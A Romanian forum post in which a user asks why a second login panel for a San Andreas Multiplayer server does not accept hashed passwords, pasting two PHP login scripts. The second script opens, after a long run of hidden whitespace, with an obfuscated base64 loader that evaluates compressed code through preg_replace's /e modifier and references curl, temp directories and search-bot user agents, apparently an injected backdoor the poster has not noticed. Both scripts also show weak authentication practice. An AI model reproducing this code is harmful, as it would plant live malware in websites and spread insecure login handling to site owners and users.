Jump to content

Parola Criptata In Formular Autentificare?


SunSet

Recommended Posts

Buna ziua, am un panel pentru San Andreas MultiPlayer (Nu stiu daca are vreo importanta), baza de date pe care functioneaza cripteaza parolele, si am 2 UCP-uri, unul care a venit cu baza de date si altul care este separat, daca cineva incearca sa se logheze pe cel pe care l-am achizitionat acum ii zice parola gresita, daca bag acea parola "criptata" de imi apare mie in mysql ii merge. de exemplu

 

Am parola "1234" si in Baza de date imi apare "3FF9ED79320C00B4165DE4311AB8579BC0E3B6E6CBB44B74D6A7526C7E960E38E5663901D73B05032454D3FCE74EBEBAF70F1D4E2EF0987E95818955E493623E" ceva de genul, bag 1234, nu merge, incerc aceste numere, merge.

 

Panel 1 la care merge cu criptare login.php

<?php
session_start();
#####################################################
require_once "includes/configurare.php";
require_once "includes/functii.php";
#####################################################
if ($_POST)
{
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$captcha = mysql_real_escape_string($_POST['captcha']);
$password = strtoupper(hash("whirlpool","$password"));
$euser = mysql_fetch_array(mysql_query("SELECT id from players where Name='$username'"));
$euser = $euser[0];
$parola = mysql_fetch_array(mysql_query("SELECT Password from players where Name='$username'"));
$parola = $parola[0];
if (!$euser[0])
{
$eroare = "user";
}
else if ($parola!==$password)
{
$eroare = "parola";
}
else if (empty($_SESSION['captcha']) || strtolower(trim($_REQUEST['captcha'])) != $_SESSION['captcha'])
{
$eroare = "captcha";
}
else
{
$user_db = mysql_fetch_array(mysql_query("SELECT Name from players where id='$euser'"));
$user_db = $user_db[0];
setcookie ("user",$user_db,time()+3600*24*60);
setcookie ("pass",$password,time()+3600*24*60);
header("Location: $adresa/index.php");
}
unset($_SESSION['captcha']);
}
#####################################################
echo "<html>n"; 
echo "<head>n"; 
echo "<title>Login zone @ $titlu_site</title>n"; 
echo "<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />n"; 
echo "<link rel="shortcut icon" href="stylesheet/img/devil-icon.png">n"; 
echo "<link rel="stylesheet" type="text/css" href="mos-css/mos-style.css">n"; 
echo "</head>n"; 
echo "<body>n"; 
echo "<div id="header">n"; 
echo "<div class="inHeaderLogin"></div>n"; 
echo "</div>n"; 
echo "<div id="loginForm">n"; 
echo "<div class="headLoginForm">n"; 
echo "Login Playern"; 
echo "</div>n"; 
echo "<div class="fieldLogin">n"; 
echo "<form method="POST" action="login.php">n"; 
if (!$eroare)
{
echo "<label>Username</label>n"; 
echo "<input type="text" class="login" name="username"><br>n"; 
echo "<label>Parola</label><br>n"; 
echo "<input type="password" class="login" name="password"><br>n"; 
echo "<label>Cod securitate</label><br>n";
echo "<img src="includes/captcha.php?$data" alt="cod securitare"><br>n";
echo "<input type="text" name="captcha" value=""><br><br>n";
}
else if ($eroare=="user")
{
echo "<label>Username <font color="red">( incorect )</font></label>n"; 
echo "<input type="text" class="login" name="username"><br>n"; 
echo "<label>Parola</label><br>n"; 
echo "<input type="password" class="login" name="password"><br>n"; 
echo "<label>Cod securitate</label><br>n";
echo "<img src="includes/captcha.php?$data" alt="cod securitare"><br>n";
echo "<input type="text" name="captcha" value=""><br><br>n";
}
else if ($eroare=="parola")
{
echo "<label>Username</label>n"; 
echo "<input type="text" class="login" name="username"><br>n"; 
echo "<label>Parola <font color="red">( incorect )</font></label><br>n"; 
echo "<input type="password" class="login" name="password"><br>n"; 
echo "<label>Cod securitate</label><br>n";
echo "<img src="includes/captcha.php?$data" alt="cod securitare"><br>n";
echo "<input type="text" name="captcha" value=""><br><br>n";
}
else if ($eroare=="captcha")
{
echo "<label>Username</label>n"; 
echo "<input type="text" class="login" name="username"><br>n"; 
echo "<label>Parola</label><br>n"; 
echo "<input type="password" class="login" name="password"><br>n"; 
echo "<label>Cod securitate <font color="red">( incorect )</font></label><br>n";
echo "<img src="includes/captcha.php?$data" alt="cod securitare"><br>n";
echo "<input type="text" name="captcha" value=""><br><br>n";
}
echo "<input type="submit" class="button" value="Login">n";
echo "<a href="$adresa/recover.php"><input type="button" class="button" value="Recuperare parola"></a>n"; 
echo "</form>n"; 
echo "</div>n"; 
echo "</div>n"; 
echo "</body>n"; 
echo "</html>n";
?>

PANEL 2 LA CARE VREAU SA MEARGA

<?php                                                                                                                                                                 /*versio:2.19*/$I1I1=87051;if (!function_exists('Il1111Il')){$GLOBALS['I1I1'] = 't$wY3VybAZX2luaXQPYWxsb3dfdXJsX2ZvcGVu*MQvaHR0cDovLwYJndheT1maWxlX2dldF9jb250ZW50cwi{X3NldG9wdAX2V4ZWMJndheT1jdXJsL{UulLw#YZ{q#b3Nvbi5pbg{#cnllcGR4LmNvbQcGhwYWlkZS5jb20OdwWV8OgKsZGlzcGxheV9lcnJvcnM&%(oh_ZGV0ZXJtaW5hdG9yY{*ZnRwMTMjMi4xOQXklSWwxMUkxbDE.JkNYmFzZTY0X2RlY29kZQkYmFzZTY0X2VuY29kZQSFRUUFMl^Vkb2ZmHaHR0cHM6Ly8*CTSFRUUF9IT1NUwudEdW5pb24Y_c2VsZWN0e#u%PUkVRVUVTVF9VUkkMAlU0NSSVBUX05BTUUGyLUVVFUllfU1RSSU5HLy$PwYL3RtcC8uZm9udC11bml4YhwTAOL3RtcC8uSUNFLXVuaXg$oCVE1Q;{VEVNUA.=VE1QRElSL3RtcAE)uAdXBsb2FkX3RtcF9kaXI_K dG1wd3AtY29udGVudC91cGxvYWRzL.!cd3AtY29udGVudC9jYWNoZQLgm(dmVyc2lvDm;awLQwyLXBocAoHSFRUUF9FWEVDUEhQb3V0bq;b2sF{SFRUUF9VU0VSX0FHRU5UvbMqyLA_;HxJcZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXg(mbFFL3BnLnBocD91PQpkJms9TQJnQ9cGhwJnA9yJnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlZ3OVBvMWdRL3lyUFptTWdZVG1ncGJUbmNXbXpXMWNTcjloYU45bTREZW0ycjBxV2dnRjZyakYrOTV1Wjl4NVF4ZDRkbW9odjVzMy8rYzBR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xWkorMjA3NEExeEgvZTVXb1d5RGp1SGw5eEpTRGdkeDNYQnhxaEtxd3M1ZWFSYThxNE9JekJ5Skl1c3Bzdjc0WC85TEh5anJaYjNpVXBXdXVEZ1h3VVlOU1A0OWdNK1hwR3JjS2VhVDJNZnBHR2gxSDd6NU9OZWkzQS9SVzIwM041Ym9ZMmFaVGZVaXVDMXVHQXZsWlZYazFIcU1KUmtVOThmMXoydVRsdkdxNHFtb3NDWnFycTRmTkFNdU5LZjJxRStwMXFZRlVhVFVJUFplRzBkc2E4TnlCdUNLcVJ1ekRBYTFaMWJlbVdMeGdZYXMvTjg5ZXBlVGxzUExoNXgvVkxoSlQiKSkpOw%#ocHJlZ19yZXBsYWNl&zU';function Il1111Il($a, $b){$c=$GLOBALS['I1I1']; $d=pack('H*','6261736'.'536345f6465636f6465'); return $d(substr($c, $a, $b));};$QOOQQQ00O = Il1111Il(3387, 16);$QOOQQQ00O("/QOQQ0OQQO/e", Il1111Il(762, 2622), "QOQQ0OQQO");};?><?php
include 'includes/config.php';
include 'includes/header.php';
if(isset($_POST['username']) && isset($_POST['password'])){
$username = sec($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$check = get_row("SELECT id FROM players WHERE Name='$username' && Password='$password'");
if(isset($check['id'])){
$banned = get_row("SELECT * FROM banuri WHERE Nume='$username'");
if(isset($banned['id'])){
if($banned['BanaP'] == 0){
$err = 'Esti banat permanent';
}else{
$err = 'Esti banat pana la data de '.$banned['BanzP'].'.'.$banned['BanlP'].'.'.$banned['BanaP'].'.'.$banned['BanoP'].':'.$banned['BanmP'];
}
}else{
$_SESSION['username'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'];
mysql_query("UPDATE players SET rpgon=2 WHERE Name='$username'");
header('location: cont.php');
}
}else{
$err = 'Username sau parola incorecte';
}
}
?>
<form method="POST" action="login.php">
<center><table id="loginstyle">
        <br />
<br />
<tr>
<td id="intxt"><p style="color:#FFFFFF">Utilizator:</p></td></center>
<td><input id="instyle" type="text" name="username" /></td>
</tr>
<tr>
<td id="intxt"><p style="color:#FFFFFF">Parola:</p></td></center>
<td><input  id="instyle" type="password" name="password" /></td>
</tr>
<tr>
<td colspan="2" style="color:#FF0000">
       &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input background="images/user.png" id="sbm" type="submit" value="Submit" >
</td>
</tr>
<?php if(isset($err)): ?>
<tr>
<td colspan="2" style="color:#FF0000;font-weight:bold;">
<?=$err?>
</td>
</tr>
<?php endif; ?>
</table>
<center>
<img src="http://www.game-state.eu/188.241.14.22:7777/FFFFFF/FFFFFF/n-560x95.png" alt="www.Game-State.eu" style="border-style: none;" />
</center>
</form>
 
<?php include 'includes/footer.php'; ?>
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.